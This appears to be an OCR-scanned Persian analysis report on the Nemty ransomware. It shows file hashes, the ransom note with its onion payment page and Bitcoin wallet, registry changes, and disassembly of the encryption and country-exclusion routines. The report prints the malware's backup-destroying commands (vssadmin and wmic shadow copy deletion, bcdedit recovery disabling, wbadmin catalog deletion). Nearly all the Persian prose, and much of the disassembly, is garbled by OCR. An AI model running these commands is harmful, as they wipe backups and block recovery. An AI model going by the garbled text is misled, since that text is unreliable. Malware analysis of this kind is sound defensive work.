JIAIZY B S

Nemty



2loy

e Ubl g yglis guulbls)l euyljg ‘
el Ubl g gl ¢ ojLu

R aodde .
T e sl R olasia Y
ettt h bbb bbb bt a bbbttt bbbttt n e walo s ¥
OO NN §1  [ LUR) FICRU IRV JOE
et e e e a e e e e Ly ol 0
PPN o> 0 5L1NV-0

Q ettt ete et e et e ete et e eteete et e abeebeaheebeeaaebeebeareebeetaebeebeeaeebeeaaeateeseareas SLesl i, Y-0

Y' ..................................................................................................... &L&f‘}.ﬁ)v—-\



=le Ublg glis g eulbliyl eyljg

2loy

&

whplele Ublg 5 gUs ¢ lojLu

D dede L)

Ls S ize Nemty L5l SLasl 51 ola oo 3L s gl o oeodlee Y004 Jle ol YY) 2 ,b s
23,5 e Bl SRS 1 e Sl s Gl oD SRS

J&J}ﬁ:ﬂu.'&:ﬂ‘)js ab )‘ LoDy § g L;:‘,)L)‘ )‘JA‘CL ui‘ m:ajf Sy e Slaalie U'NL’“‘J"

Sla bl (10850, sl AES oz, Sl 5l Nemty SIBl-l ool o3 S iz OLLS wteew &

A @JUJJOJ\J& ML"' A M.bj;f})ﬂ&)‘;ﬁ&obw‘d@b}vw“ ).SJ)JLJE)))A

AL e YV o ST

P2l BB Slasis Y

Nemty.exe U el

37aababb18c9c1b8150dae4f1d31e97d MD5
02637179c597eaa821ff190ef89ba9eb013a6ea2 SHA-1

505c0ca5ad0552cce9e047c27120c681ddcel27d13afa8a8ad96761b2487191b SHA-256

Win32 EXE LU ¢
ColhSAY L o3l

AVAY

Neg

Sle o311
AAYA 447 1.Y4 text
0907 AN .08 .reloc



whplele Ublg 5 gUs ¢ lojLu

&

4»\30‘f3=- Y

Y V4 4 4l5 YV - JSWorm

g *

Y214 &l YY — Nemty

SPIEY b dag Ol
ol d L 8 5 plulis 4 5B VirusTotal alel 5815 0 5l ) 50 £ slu ol -8

Ml.,da )\J'.é\CLg
f_@ 46 engines detected this file

505clcabad0552ccefe047c27120cb81ddce127d13afa8a8ad96761b2487191b

Memty.exe

peexe

Ly Jdoi 0

VPO TH LY.
S5t Sy 3 e Lol (2l b G5 e LU (6513 e S 5 Nemty 1512l
s e @ i (M8 55 dn TS OLL B Ll Ol Sl 1Bl cnl b g8 (bla,l 05
S IRl sy ge sla bl ald g h Game 4 delnl e sk ag 30 Y BV o (SL S

J*SLSA ‘%Mﬂ)&i&baﬁ LS‘)"KJ‘A) (.SLAJ‘.‘.LQ J-'j*:’d‘ Ls‘)")‘fj‘) LSJKJ..DJ‘U"".’.



S
wleUblis yglis gilbliyl yljg . —

whplele Ublg 5 gUs ¢ lojLu

=R EER
OO ‘ | » Victims v|*¢ || Search Victims =)

Organize ~ Include in library = Share with = New folder = - 9
- Favorites i Name ° ~ Date modified Type Size

Ml Desktop 771900.exe 3/2/2019 10:30 PM Application 1,159 KB
14 Downlozads applied.pdf.nemty 9/18/2019 6:46 PM  NEMTY File 1395 KB
< Recent Places contacted_hosts.csv.nemty 9/18/2019 6:46 PM  NEMTY File 166 KB
DualBoot.txtnemty 9/18/2019 6:46 PM NEMTY File 1KB
- Libraries FINALjpg.nemty 9/18/2019 6:46 PM  NEMTY File 104 KB
* Documents intro.mp4.nemty 9/18/2019 6:46 PM  NEMTY File 6,731 KB
4. Music 3 NEMTY-DECRYPT.txt 9/18/2019 6:46 PM  Text Document 2 KB
= Pictures powerpointppbenemty 9/18/2019 6:46 PM NEMTY File 691 KB
B videos sources.docx.nemty 9/18/2019 6:46 PM  NEMTY File 19KB
suspicious.py.nemty 9/18/2019 &:46 PM NEMTY File 5 KB
A Computer teapot.webm.nemty 9/18/2019 6:46 PM NEMTY File 543 KB

4 .nemty JJM 9 ol LS)"’\ff) U&Jib C\y‘ Lfdw (el odalis J.;L; ‘}Ib RS D S me
SLS53 NEMTY-DECRYPT.txt Olsie b 55 LRIzl (aleel pliy ol aad 651 LT sl
J.;LQ k_i.;); 9 JL’J'; W DL ‘)\Jﬁ‘cb C,.:jl.’d rl.o.:\ b QLAJAA Cauv‘l‘ wjf )‘J.; ol LSJL’\fj"’) Lg\.adil.e

syde Al Gl emio (555 2 Al Pl O o)

| NEMTY-DECRYPT xt - Notepad o O
File Edit Format View Help
-——=== NEMTY PROJECT ===--- P

[+] whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has extension .nemty
By the way, everything is possible to restore, but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] what guarantees? [+]

It's just a business. we absolutely do not care about you and your deals, except getting benefits.

If we do not do our work and 1iabilities - nobody will not cooperate with us.

It's not in our interests. . . . . . .

If you will not cooperate with our service - for us, its does not matter. But you will Tose your time and data, cause just we have the private key.
In practise - time is much more valuable than money.

[+] How to get access on website? [+]

1) pownload and install TOR browser from this site: https://torproject.org/
2) Open our website: zjoxywSmkacojk5ptn2iprkivgsclow72mjkykSttubzxprjjnwapkad. onion/pay

when you open our website, follow the instructions and you will get your files back.

Configuration file path: C:\Users\
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= o =
@O'|' » Computer b Local Disk (C:) » Users » v|*¢|| Search UBCERT pl
Organize ~ Open Share with ~ New folder =~ [ @
-~ Favorites m Name ° Date modified Type Size
M Desktop | cisco 9/18/2019 6:46 PM  File folder
l4 Downloads k5 Contacts 9/18/2019 6:46 PM  File folder
i Recent Places Ju Desktop 9/18/2019 6:46 PM  File folder
4 Downloads 9/18/2019 6:46 PM File folder
. Libraries | Favorites 9/18/2019 6:46 PM  File folder
% Documents & Links 9/18/2019 6:46 PM  File folder
4. Music E 1 My Documents 9/18/2019 6:46 PM File folder
= Pictures & My Music 9/18/2019 6:46 PM  File folder
§ videos E My Pictures 9/18/2019 6:46 PM  File folder
B My Videos 9/18/2019 6:46 PM  File folder
& Computer # Saved Games 9/18/2019 6:46 PM  File folder
& Local Disk (C) [0 Searches 9/18/2019 6:46 PM  File folder
& VM-Share (\\VBoj | TorDir 9/18/2019 6:46 PM  File folder
L _NEMTY_iv4yN3r_nemty 9/18/2019 6:34 PM  NEMTY File 5KB
@& Network NEMTY-DECRYPT txt 9/18/2019 6:46 PM  Text Document 2 KB
_NEMTY_iv4yN3r_.nemty Date modified: 9/18/2019 6:34 PM Date created: 9/18/2019 6:34 PM
NEMTY File Size: 4.00 KB

oLz 15 _NEMTY_ZWIOQsU_nemty ofse b i35zl ool st Sy b 50l e Vb g

File Edit Format View Help

VUTEHOYArMaMbtCyAtGLXWE2WT 51RWr4EbNT qHO7 TLNPN7 T5en8yINGT 0L yhcGO02ZNgZ r TWI+FTCNZ SHYYAr LPOVWXFPEYPH .
/F930zckyI+jx,/blogurgkmbgv8lglufoxgfwachk]50F1L0z898zugMThN3dryrykgLAEW3Zz2vQYPEFzrLkui a00uhvsDONY
jTOLVBOQFSWQAthS+KJ8ewJVFW+X1XMEqLe+432T6/fjS?/qEZ/4IBY1AlOe5deVquh450?010RhC2NKﬁL+YZCCNFaZJEp
LWFNHSOCpsyFzarR2w+,/ZczBdpcNOTBINMCDS /1 3656Zh7 K5 1ADAC,/ vIQzKXXP4121HIT15QsMZPx4d T napQRMXuUNRPAERVIkKA
ROTNUzQhsYINYrYSka TRvoT1IDVXAe T 2Rehcp T IWNTWDNCZWS X,/ Fyw3EITKSV7 evVOVbNodF 5XFf 3cPIASATWUGNVKCARNF ZL9
uiwLkk+twdzrSNpXmajEaMwmoIfEvoDx j+hIyD00,/ YDVDQuCDXVKWY7WIfGQr+fThiaPnwbgdHgwi pkP3GItKUBhEwWUhE /0Q8
'hVK?WGMa9L0Y1ei2chcvj?cngEmeSgz+LdYq+twupe9x?xba2FgchFuVREszoOgJnHocizmvaqufwdqﬁobeIowng
wwh5PeTyBLad3wxUv,/ 5605 1GbsvnpdTdsmuk601Q9+TPCSy3RFF/ INNKCNPAr LSTVXXTYygaIG IChKkyyF+af 1c306oDgLgZ 308
MIZYDewWBn3udAsT Ivpxwrw]jlpswPukgwTgpnsQv+nx,/+nf /Bmr AoCE9cPKF1gsJum8TriwenuR2TU4 /4+4631AgaJ9cncTgfvEIM
KScFo1RFgFEm¥tho /+9thc3bF45w1H5iLv4104654v3BaUQFBTﬁzVWG32+oxggﬂLydzn+ciYBFwwboFAthqusxTGVEDP
838B4zm3f+aGs3+na’av,/k0dGLKUyyoL 6kBowzTxHiRj 3EENeFPYPEUGCEnrGQritkdmlrz /dns xWNEs 5QqRFeNeqQuUAES /MEBXg
WGP/g+Y9de1LQrRtBXQMLUZI/L6A5A4zI?byMQeScATb0m54c92thxusxveQC1Bswgdqj8q540SLKWthabQZSGUTarngTw
WZOWT KWE 7T 3%/ r YMEWOKKNr+ZCL5Zv4 5eZ 2AEFXKkN/0Zr4NYOS5YFIO7LIGT ywWzN/hgxERVPDEXEOK3D0Kp4mStq89gTHTLIit
GtrQ?OLrUbDarcesSTqu%vVBnPOZB4JEEwGZun Tsq&2mnP SH3codHBE SXOX4LvyYtepfzcUupoE09sfdHMIScVidD /74rc3
VhTdszZ Ta==N+xKe30DQw7 kald4HfAGmileYQZ?lvzhﬁthmysQ?prl514YnTGwzfyLKle4Nth?f+lcsjau+qzawctwL
2wRX1sHFKALLCGLASTSty0,/ TLGEK,/ 2MQCL 34PhOpvGLPSEVUCT Tyt 1037 vWvlurKxaz7 AqKs SNOSVQG ] SHQZw7MNZ ImGHYYy
Ph5h9gBwlVNH3I0Z9KC3g9wkMuC Xt g2 cuupMumcQX Lkl 9yNtdyNXhPCFVL1dy1017 vUArZ XFRLIBBAVI1L555djvi7TLAWTACTT
XFjPPpwiFQBOUJJtJ4b20e8;wA5dJeHy1qunythQQZerHQJBSStkngSEU+ER4waeﬁe1/jUEJKQD4L9+P2j10xaanDNK
LAQ+DBEL4e51 IwBVTo74n6GoTa0f11PUDNEQXHK29Q2+02T aGG1L1+yQXDZ Gk joKUboA4 ¥ jaUEQRIKwdx cdDXdDCXYTiwjiZzcd
/IVIxwnaZ znUWBOT6pBOSAAQUr BOWF CMPWATOeX46ZzHWIRbUT4q7kqqalsydvgas IbIPwniWweINPRrK3+RC2 T XPHYyM+NX9kn0
5WNQ58M1gTrviLZYHWOREVSWUUr 820eN3w+CSdZ cw50fu+RL27IZErnu/oZ 3F0F 1wl S0 jok0K+BwLHeQZ FZws YhITXQx8yppK
1twaXJSeT?bQO?GﬂwOm?UGH3lQIyVhbme50VuhyAa1PydmyxypvqquMj?quSdeCEBZWW%OdBQSGNGVAn4TjMU4H+iYAe
qghouybedGazifCBirv] jnxsv3ILEdgwQ8winzeF+gMYBINGG3ULNYZ 1 TmNkEgCcqyYN2LYWREDI7sFUNRISFTTVIeumnI awXAawrF 2
TuHvafexrsge/mlaulusmmpCés,/1zIhLZ 3wmdrQ15Y539GA5I0T pmHSXMNZIZTYXPOCUPFFy+UFHT TXAI7TLYAFQAZ XHUT w6
qy30yeCxXbET4ZTERFH,/MNOF 1 2wcDahCvteHhzxoFMwIPabBh,/1ScIVXRCTqxvxVvI36x21Z /X571 01 BKd7EIeDwWwuUMVLAhENr 2
ewC909nyynH1ZRPWVBRABUBO9AE JQTOX06TTOP TVF JhxKOC2MIEM3quNYg4TCKd/ /T2 ITpssVIEWHKZ08eySHZpW] SSOMEGCE
N19DhQBZp4e3hwa?/ZGN1ciBE?ngdevMY?iqzbwbtz?w Exib+?e2cemaQBtWQAPfMpCPRU4h1gstxssuG/szoHN]xK
1JxﬁyfngDwr/qichtRZ4+lH i+homehDeP+k0vieC6f 1 owoZmT 3MMx1 5W31Z /cGulyynNFy0ZT1g7 jMNTXroLbQr 2mEae
hgser&8ffI2qcaPpezq=—=
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Upload file to decrypt

Allowed extensions: jpg, png, bmp. Max file size is 1 Mb

U File

SUBMIT

5-PNg jpg ok pus L L;Lil.é Llg o SL 3 el lesl s Oluads! g (o NeLBE
S e (sday Ceand 4 S 3 SUBMIT a8 (5,5 sdome SIS 5 dul 3 ol plonil 51

[CNON 1 zjoxywSmkacojkSptnZiprkivg Sclow7 2mjkykSttubzxprjjnwapkad.onion/pay e f} @

en -

What do you need to do?

In order to get the decryptor you need to send bic to our wallet
The amount and wallet are specified below. Hurry up! After timer
will end, your ransom price will be doubled. If you want more
information on how to buy Bitcoin, you can read it here

Amount 0.1039 BTC (10008)
Wallet SLpDWhnj1NttZbWrR2Y SeXVC1e3qJBVSE3 S

Time left: 02:12:00:50

DOWLOAD TEST DECRYPTED FILES

Enter message

AR )"‘j" 4SCL¢ CLA ‘Ju.;l.ﬁ‘f odalis J;L«‘! ﬁjﬁj %W)Jﬁ)}bw (Cotonnd L)'-l‘ BE
S ol nd Clge 5 e JndS UA’)JI Oeomad Sl el jasiie (sl S

Ja...»j: CL C,&'-\bj.; <=J& el 2 el ol u..e.’>r.~:..a gﬁj...eﬁ u:ou U'l‘ BL) j.‘." CL CLA C,&'-\bj.;
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23 Loxe w G SUA e 53 SIS Jsb s SIBEIZL b s el sl (6 ey D
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HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32

HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS
Yo 4.9L¢\ ﬂ.al.i,o

HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\EnableFileTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\EnableConsoleTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\FileTracingMask: OxFFFFO000
HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\ConsoleTracingMask: OxFFFFO000
HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\MaxFileSize: 0x00100000
HKLM\SOFTWARE\Microsoft\Tracing\RASAPI32\FileDirectory: "%windir%\tracing"
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\EnableFileTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\EnableConsoleTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\FileTracingMask: OxFFFFO000
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\ConsoleTracingMask: OxFFFFO000
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\MaxFileSize: 0x00100000
HKLM\SOFTWARE\Microsoft\Tracing\RASMANCS\FileDirectory: "%windir%\tracing"

HKU\.DEFAULT\Software\Classes\Local
Settings\MuiCache\23\52C64B7E\@C:\Windows\system32\notepad.exe,-469: "Text Document"
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HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-
9178-9926F41749EAN\Count\P:\Hfref\HO-
PREG\Qrfxgbc\505p0pn5nq0552ppror047p27120p681qqprl27913nsn8n8nq96761024871910.ova\5
05p0pn5nq0552ppror047p27120p681qqprl27q13nsn8n8nq9676102487191o.rkr: 00 00 00 00 01 00
00 00 00 00 00 00 00 00 00 00 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80
BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF FF FF FF FF AO B9 OC 4E 55 65 D5 01 00 00 00 00

HKU\S-1-5-18\Software\Classes\Local
Settings\MuiCache\23\52C64B7E\@C:\Windows\system32\notepad.exe,-469: "Text Document"

1l 03 S iy o5 WOT slis &5 Lladds

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\OO9\Counter
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Counter

HKLM\SYSTEM\ControlSet001\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Enter)

HKLM\SYSTEM\ControlSet001\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Leave)

HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Enter)

HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Leave)

HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-
9178-9926F41749EAN\Count\HRZR_PGYFRFFVBA

HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-
9178-9926F41749EAN\Count\{7P5N40RS-N0OSO-40SP-874N-P0S2RO09SN8R}\Ertfubg
1.8.3\i5_ertfubg_1.8.3 orgnl jva32_k64 fep ova_i5\ertfubg.rkr

HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Connections\SavedlLegacySettings

:)Lﬁluij)\’—o
Sales s RDP JSs s 51 eslizal ook 51 Gites Nemty Si5sl-l 4 oplal lanl s &5 shailas
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mnov
add
mov
call
push
mov
mauv
pop
mnov
lea
mou
call
mauv
push
call

pop

edi, eax

esp, 24h

eax, esi
sub_L4BAGTE

BFh

[ebp+uar_2C], ebx
[ebp+uar_3C], bl
esi

ebx, eax

eax, [ebp+uar_ 3C]
[ebp+uar_28], esi

sub_4873BE

ebx, offset aHemtyDecrypt_@ ;) ““SWHEWMTY-DECRYPT . trLy™
ebx ; char =

_strlen

ecx

Ll ol 2 CMD ks 5 55 Ol s2ws ShellexecuteA @U Sheslaal b ew
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FIIE

loc_4B8ASED:

nov ebx, ShellExecuten

®OF eax, eax

push eax ; nShowCmd
push eax ; lpDirectory
push ecx ; lpParameters
push offset File ; cnd_exe™
push eax ; lpOperation
push eax ; hwnd

call ebx ; ShellExecuted

push 1

®or edi, edi

lea esi, [ebp+lpParameters]

call sub_Lascoa

push 1

lea esi, [ebp+uar_3c]

call sub_LO5C90

push 1

lea esi, [ebp+uar 98]

call sub_LO@S5Co8

push 1

lea esi, [ebp+uar_58]

call sub_L4AB757h

aCUssadmin_exeD db

db [1t} bootstatuspolicy ignoreallfailures & bcdedit fset {default} r'
db [ecoveryenabled no & wbadmin delete catalog -quiet & wmic shadowco®

db | py delete’ .8

/c vssadmin.exe delete shadows fall /quiet & bcdedit fset {defau’

; DATA XREF: _main+13Flo

/c vssadmin.exe delete shadows /all /quiet
wmic shadowcopy delete

VSS (slas Cids

bcdedit /set {default} bootstatuspolicy
ignoreallfailures bcdedit
/set{default}recoveryenabled no

er&ﬁ)ébﬁueﬁéjbdwﬂ&

wbadmin delete catalog -quiet

ool 53 0 3 Ol Sla Job ame ,B B

C""j:"'.’.‘ JL»,Q—?‘M‘)L:J L}"LJSW—)J C,.:Hx.% LS‘J" J‘jﬁ‘cb w\ P o Q)LL\J.\S&U);‘&S)}EM
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lea
push
push
call
E{ilg
test
jz

eax, [esp+2agh+WsaData]

eax ; lpusaData

202h ; wlersionRequested
WiAStartup

ebx, ebx

eax, eax

short loc_ 48AA12

] e =]

loc_4BAA12: ; protocol
push ehx

push 1 ; type TCP
push 2 : af IPvd
call socket

mou esi, htons

push 2

nov [esp+2ZaCh+s], eax

pop eax

push 235Ah ; hostshort
now [esp+2uCh+name .sa_family], ax
call esi ; htons

push offset cp ; M127.8.8.1"
nov word ptr [esp+24Ch+name.sa_datal], ax
call inet_ addr

mou dword ptr [esp+Z48h+name.sa_data+?], eax
push 18h ; namelen

lea eax, [esp+2u4Ch+nane]

push eax ; name

push [esp+258h+s] i s

call connect

Szl (CRE) J xS 5 0l g o b BLI )13 5 5 il 4 5L 3 et Jlal] ey 2 5 g

23 SLA e &S Goge 03 B3 o B e 50 L SUE ates Ol 5 bl A Coad s

JULJL;G Qlﬂ‘ DL, LSJ‘J‘?)"J J‘ ‘J\.J:L: J'ﬂ) LSL‘B)‘)A;S )‘ é{ ab}bu!
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proc near

push
mou
push
mou
call
pop
test
jnz
push
mou
call
pop
test
jnz
push
mov
call
pop
test
jnz
push
mou
call
pop
test
jnz
push
mou
call
pop
mov
test

jz

esi

; CODE XREF: sub_4889D2:loc_u4@SADSLp

esi, offset dword_461F10
offset aRussia ; "Russia™

pax, esi
sub_487FDB
ecx

al, al

short loc_ LAROBB
offset aBelarus : "Belarus™

eax, esi
sub_487FDB
ecx

al, al

short loc_ LAROBB

offset aKazakhstan ;

eax, esi
sub_487FDB
BCX

al, al

"Kazakhstan™

shovrt loc_ 40688988

offset aTajikistan ;

eax, esi
sub_487FDB
ecx

al, al

"TajikiStan"

shovrt loc_4089B8

offset alkraine ;

pax, esi
sub_ 487FDB
ecx

"Ukraine'

esi, offset aFalse ; ""false™

al, al

short loc_46839BD

obw.w‘ JALGV..:.W.:M PES! \J;'.a‘ ‘.,\.J:L..: ol u.,bu.:..ﬁ L;UU)JS OJJJ\M DL Lﬁ"L’J'e V:W 45&)}..4 DL

2,8 o B s 350 GU e 53 0l

St L aun seores
esi, offset attindows?

“"Windows 7"
short loc_L4B8893A e

; CODE XREF: sub_hB888nn+5CTj
eax, 2
short loc_48891B
esi, offset aWindowsg®

"Windows 8"
short loc_48893A -

; CODE XREF: Suh_lll]88FIFI+68Tj
eax, 3
short loc_488935
esi, offset aWindows8_1 ;

"Windows 8.1
short loc_48893A _—

loc_ 4BB927:

loc_488935:

mou

; CODE XREF: sub_ hB888AA+57Tj
ecx, Bah
short loc_ 4BB93C
esi, offset attindows1@ ;
eax, eax
short loc_48893A

"windows 18"

CODE XREF: sub_4888aAa+7aTj

sub_ 4B +807Tj
offset adindowsXp ; |"Windows XP"

esi,

S axdls 513 SIBel de cod 3 5 gla bl spde ST bl (o185, Al e

\Y
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whplele Ublg 5 gUs ¢ lojLu

aHemty db ‘nemty’,8
align &
alog db 'log’,8
alog_@a db 'LOG',8
aCab db 'CAB',8
acab_@a db ‘cab‘,8
aCtmd db 'CHD',8
acmd_@A db ‘cmd’,B8
aCom db 'COM',8
aCom_@a db ‘com’,B8
acpl db ‘cpl’,B8
atpl_@a db ‘CPL*,8
aExe db ‘exe’,B8
aExe_0 db "EXE®,8
alni db 'ini',B8
alni_8 db "IMI*,8
abll db *d1l1*,8
abll @ db *DLL",8
aLnk db *1nk*,8
aLnk_@a db "LHK®,8
allrl db ‘url*,B8
allrl_@a db ‘URL*,8
aTtf db "ttf*,8
aTtf_@a db 'TTF*,8

aDecrypt_txt db *DECRYPT.txt",0

g el ey ol Bl b G 5y a3 53 55 s gl LB s ey Les

unicode 8, <$RECYCLE_BIN>,8 . A
align u unicode B, <desktop.ini>.@
aRsa aConfig_sys
. : D : D
unicode 0. <rsa>.8 unicode B, <COMFIG.SY¥S>,0

aHtdetect_com .
- - D align 18h
H

unicode @, <HTDETECT.COHM>,8 aRecycler

align 4 - D
aneLdr ., unicode 8, <RECYCLER>,®

unicode O, <ntldr>,8 align 4
aMsdos_sys aBootsect_bak

s D - D
- ' L]

unicode 0, <HSDOS-SVS>.0 unicode 8, <BODTSECT.BAK>,@

alo_sys

- p Aalign 18h
unicode @8, <I0O.SYS>,@ aBootmgr

align 4 : D
aBoot_ini i unicode 8, <bootmgr>,@
unicode 8, <boot.ini>.Q aProgramdata
align 4 ; D
afAutoexec_bat unicode B8, <programdata>,8
. > D apppdata
unicode @, <AUTOEXEC.BAT>,8 - D
align 4 . -
aHtuser_ dat unicode @, <appdata>.,@
: D aWlindows
unicode 8, <ntuser.dat>.@ - D
align 16nh ’
aDeskgup ini unicode 8, <windows>,8
- - piofFt[] ]
unicode 8, <desktop.ini>.\8’ dh 'Microsoft®,8 ; D

S p s SIS ey T B e 3 35 s U e Lol s Nemity 1L

\}2



=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

call GetDriveTypen
push 1
X0 edi, edi
lea esi, [esp+74h+1pRootPathHame]
mou [esp+74h+var_6@8], eax
call sub_485C98
cnp [esp+7@h+var _68], 2
jnz short loc_488151
 J
Ll i 5=
push ebx ; char =
call _strlen
pop ecx
mow edi, eax
push ehx
lea eax, [esp+74h+1pDirectoryHame]
call sub_4@7D1D
lea eax, [esp+7Bh+1pDirectoryHane]
mov edi, offset dword 414398
call sub_4H82AE
push DFFSE!_I aRemovable ;I

it (=]

loc_L48815%1:

cnp [esp+7Bh+var_6B], 2

jnz short loc_4B81R2

Y

il e 5
push ebx ; char =
call _strlen
pop ecy
mou edi, eax
push ebhx
lea eax, [esp+74h+1pDirectoryHame]
call sub_487D1D
lea eax, [esp+7Bh+1pDirectoryHame]
mou edi, offset dword 414398
call sub_4882ARE
push offset aFixed ;|"FIXEDﬂ

rl B ol A5 S S e eslial s B (5108 5a, g AES Olize o 8311131 (!
SIS 5o, (VA RSA O Lzl ﬁwﬂ‘ oyt paes WIS Lir S odey a0, S
Sl oy LIS 5 e Ll (108 50y dul b 55 e eslinud WIS (5108 50,5 gl g0 ges LS 555 e

35 Sl IBIEL J RS 5 0l B s 0dd A5 o past LIS 555 o0 3Lt ol wlaS s,

\o
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loc_ 409867 :

mou eax, hKey

cmp eax, edi

jz short loc_ 489877
bl i =]
push eax ; hHEey
call CryptDestroyKey

il e =]

loc_uP9a77: » phKey
push offset hKey

push 8000888 1h ; dwFlags
push 1 RSA-2048Bit ; Algid
push hProu ; hProu
call CryptGenKey

test pax, eax

jz short loc 4A9868

33 o el ColKe e b b s 63100 1) 4 Gl g s s BB (6,108 50, (65

L
lea eax, [ebp+FileSize]
push eax ; 1pFileSize
push edi ; hFile
call GetFileSizeEx
cmp dword ptr [ebp+FileSize+h], ebx
j1 loc_486FE9
_ L J
il i
ig short loc_4BGED2
Y
cmp dword ptr [ebp+FileSize], 61A880h|EME |
jbe loc_L4B6FED .

lasl 5550 ol N1 xS L wped dior sdldsey 5 ol il aslie b g g ge pl S S

23,5l
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push
call
mov

pop

push
push
push
push
mov

call
push
lea

push
push
push
push
call
mov

mou

mov

call
push
push
push
push
call
push
lea

push
push
push
push
call
mov

add

push
push
push

dword ptr [ebp+Fi
unknown_libname_3

leSize]

: Microsoft UisualC Z2-11/net runtime

esi, SetFilePointer

ecx

ebhx ;s dwHoveMethod

ebx ; lphistanceToMoveHigh
ebx ; 1DistanceToMove

edi ; hFile
[ebp+1lpBuffer], eax

esi ; SetFilePointer

ebx ; lpOverlapped

eax. [ebp+Humber0fBytesRead |

eax 1pHumberOfBytesRead

dword ptr [ebp+Fi

leSize]

nHumberofBytesToRead

edi
ReadFile

lebp+1lpBuffer] ;

eax, [ebps+var 78]

ecx, dword

ptr [

edx, [ebp+1pBuffe

sub_485BCC

ebhx H
ehx H
ebx H
edi H
esi ; SetFilePoin
ebx H

eax

[ebp+Humber0fBytesRead] ;
[ebp+1pBuffer]

edi
WriteFile

1pBuffer
hFile

r]

ebp+Filesize]

dwHoveMethod
lpDhistanceToMoveHigh
1bistanceToMoue

hFile
ter

1lp0Ouverlapped
eax, [ebp+HumberOfBytesUritten]
; lpHumberOfBytesWritten

1pBuffer
hFile

eax, dword ptr [ebp+FileSize]
eax, [ebps+var 70]

ebx
ebx

eax

dwHoveMethod
lpDhistanceToMoveHigh
1bistanceToMoue

nHumbero0fBytesToWrite

Ready

!
bhoooozan

6F 8C

22 35 0A
3c

9/29/2017 1:02:10 AM | 1.4 MB (1427665) |

25 00
OR 2F
4E 20
o 2F
20 20
74 65
€1 60
1c 03
6c &4
05
53 45
B0
8D 37
1412
8 52

B 03 [p2]éa 22 78 B7 FB &4 AB 60 €8
3 9 BE BB F4 74 BB 88 55 &4 a4 33
30 0A 25 /okjsts./n 100./ B4 7C FB 15 A4 77 €O 16 33 71
GE 67 74 Fizat 830./Lenge BE 12 Ch 51 BE 93 ES ET AP E1
2r 46 &3 b 1429 s FD BD CL O 31 56 FF GA FB 24
£3 GF 64 lter /flatefecod 5D A% 92 48 38 BD 33 A6 98 57
DA ED 58 e.>>.stzesm.x..X C1 4B CD 41 44 £3 A9 =6 01 76
@ 93 0 97 c6 52 37 74 40 A2 26 B¢ ¢F
B4 6 Ex 41 3D C4 5D B0 CE 08 22 92 CF
35 78 69 D6 64 OF 54 FS 25 6E 16 31 D0
48 11 84 A 46 65 DS BL 2A Fé F IE ED
4215 &2 ZE 77 0L E1 8 63 79 69 97 6C
4£ 68 28 58 EB C1 6C DB 26 OD 57 03 &4
cz 68 2 €1 70 58 Do €3 33 81 DF 0D 85
BC 28 81 B5 D1 D7 F1 62 P2 23 a5 D 08
cs 3 a1 1e 8E C2 FE C5 1c CB 66 FT 82
74 21 8 B3 01 37 3 11 42 1o 25 13 B9
£8 52 15 6410 74 B3 53 81 80 08 8§ &F
60 41 01 34
=R Files are very different! o
2 15 20 Compare It! could not find any significant same blocks  |3g
cLie e
3812 80
o1 2 c1 ()
A2 53 91 €9 68
8 31 61 E0 oF
8 14 43 e B0
cs 58 ar o 03
81 63 61 58 AS
RS A 72 et
ar 12 20 M35
14 8c 23 e6 7
o0 75 &1 s 00
ol 10 23 21 A
66 87 58 50 42
21 68 82 43
50 05 02 12 D
DE 8D 13 6 60
&0 P5 B3 can
7E 08 ar
RS 6€ 43 18 40
£7 88 1 I s
6 75 41 3....9.0R cé 43
5 60 25 BRI - aF I

100000000 (0)

9/12/2019 1:50:18 PM | 1.4 MB (1428024) |

Source Only _ Targetonly (1) Changed (5564) [ EDIT

OVR

| 60000000 (0)

Aal gt IS e, O

C/{.LKAVLLU‘ ‘u\.«-:’l—! ol ML&AJL"‘;"J‘MWJJ" S50 J"bf»;\ Lol
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call
push
lea

push
push
push
push
call
mowv

mowv

mouv

call
push
push
push
push
push
push
call
sub

push
push
call
push
lea

push
push
push
push
call

call
push
lea

push
push
push
push
call
mouv

mouv

mou

call
push
push
push
push
call
push
lea

push
push
push
push
call

esi ; SetFilePointer

ebx ; 1lpOverlapped

eax, [ebp+HumberOfBytesRead ]

